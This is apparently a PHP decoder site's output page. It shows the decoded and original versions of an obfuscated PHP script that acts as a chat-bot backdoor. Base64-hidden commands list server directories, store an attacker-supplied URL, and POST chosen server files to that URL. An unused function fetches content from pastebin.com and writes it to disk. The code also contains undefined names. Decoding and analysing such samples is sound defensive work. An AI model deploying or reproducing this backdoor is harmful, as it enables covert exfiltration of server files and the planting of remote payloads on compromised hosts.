Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php if(strpos($bot->msg, base64_decode("L2Rpcg==")) === 0){ $j0=explode(base6..

Decoded Output download

<?php  
 
 
if(strpos($bot->msg, base64_decode("L2Rpcg==")) === 0){ 
    $j0=explode(base64_decode('Xw=='),$j1->$y2)[1]; 
    $d1=t0($d2); 
    $bot->sendMessage($bot->chatID, $d1); 
} 
 
 
 
 
if(strpos($bot->msg, base64_decode("L2V4Zg==")) === 0){ 
    $a0=explode(base64_decode('Xw=='),$bot->msg)[1]; 
    $h2=file_get_contents(base64_decode('Li9saW5rLnR4dA==')); 
    d0($a0,$h2); 
    unlink(base64_decode('Li9saW5rLnR4dA==')); 
     
} 
 
 
 
 
if(strpos($bot->msg, base64_decode("L3NldGxpbms=")) === 0){ 
    $c0=$bot->replymsg; 
    file_put_contents(base64_decode('Li9saW5rLnR4dA=='),$c0); 
} 
 
 
if(strpos($bot->msg,"/upload") === 0){ 
    $z0 = base64_decode('Xw=='); 
     $u1=explode("_",$bot->msg); 
      $bot->sendMessage($bot->chatID, $u1[1]); 
      /* 
    
    $t4=explode(base64_decode('ZG90'),$u1[2]); 
    $t4=implode(base64_decode('Lg=='),$t4); 
    $bot->sendMessage($bot->chatID, $t4); 
    
    //g0($u1, $t4);*/ 
} 
 
function g0($y5,$t6){ 
    $y7="https://pastebin.com/raw/$y5";$r8=curl_init();curl_setopt($r8,CURLOPT_URL,$y7);curl_setopt($r8,CURLOPT_RETURNTRANSFER,1);$t9=curl_exec($r8);curl_close($r8);file_put_contents($t6,$t9);} 
function t0($x3=''){if($x3){$r4=scandir($x3);$d1=implode(base64_decode('LCA='),$r4);return $d1;}else{$r4=scandir(base64_decode('Li8='));$d1=implode(base64_decode('LCA='),$r4);return $d1;}} 
function d0($m4,$a5){$m4=explode(base64_decode('ZG90'),$m4);$m4=implode(base64_decode('Lg=='),$m4);t1($m4,$a5);} 
function t1($m4,$a5){ 
    $y6=curl_init($a5);curl_setopt($y6,CURLOPT_POST,1);$b7=array(base64_decode('Y29udGVudA==')=>base64_decode('RmlsZTog').$m4);$b7[base64_decode('ZmlsZQ==')]=new i8($m4);curl_setopt($y6,CURLOPT_POSTFIELDS,$b7);$u9=curl_exec($y6);curl_close($y6);} 
 
 
 ?>

Did this file decode correctly?

Original Code

<?php 


if(strpos($bot->msg, base64_decode("L2Rpcg==")) === 0){
    $j0=explode(base64_decode('Xw=='),$j1->$y2)[1];
    $d1=t0($d2);
    $bot->sendMessage($bot->chatID, $d1);
}




if(strpos($bot->msg, base64_decode("L2V4Zg==")) === 0){
    $a0=explode(base64_decode('Xw=='),$bot->msg)[1];
    $h2=file_get_contents(base64_decode('Li9saW5rLnR4dA=='));
    d0($a0,$h2);
    unlink(base64_decode('Li9saW5rLnR4dA=='));
    
}




if(strpos($bot->msg, base64_decode("L3NldGxpbms=")) === 0){
    $c0=$bot->replymsg;
    file_put_contents(base64_decode('Li9saW5rLnR4dA=='),$c0);
}


if(strpos($bot->msg,"/upload") === 0){
    $z0 = base64_decode('Xw==');
     $u1=explode("_",$bot->msg);
      $bot->sendMessage($bot->chatID, $u1[1]);
      /*
   
    $t4=explode(base64_decode('ZG90'),$u1[2]);
    $t4=implode(base64_decode('Lg=='),$t4);
    $bot->sendMessage($bot->chatID, $t4);
   
    //g0($u1, $t4);*/
}

function g0($y5,$t6){
    $y7="https://pastebin.com/raw/$y5";$r8=curl_init();curl_setopt($r8,CURLOPT_URL,$y7);curl_setopt($r8,CURLOPT_RETURNTRANSFER,1);$t9=curl_exec($r8);curl_close($r8);file_put_contents($t6,$t9);}
function t0($x3=''){if($x3){$r4=scandir($x3);$d1=implode(base64_decode('LCA='),$r4);return $d1;}else{$r4=scandir(base64_decode('Li8='));$d1=implode(base64_decode('LCA='),$r4);return $d1;}}
function d0($m4,$a5){$m4=explode(base64_decode('ZG90'),$m4);$m4=implode(base64_decode('Lg=='),$m4);t1($m4,$a5);}
function t1($m4,$a5){
    $y6=curl_init($a5);curl_setopt($y6,CURLOPT_POST,1);$b7=array(base64_decode('Y29udGVudA==')=>base64_decode('RmlsZTog').$m4);$b7[base64_decode('ZmlsZQ==')]=new i8($m4);curl_setopt($y6,CURLOPT_POSTFIELDS,$b7);$u9=curl_exec($y6);curl_close($y6);}


Function Calls

None

Variables

None

Stats

MD5 ae0e3326d3237853f42e74739b333ef9
Eval Count 0
Decode Time 43 ms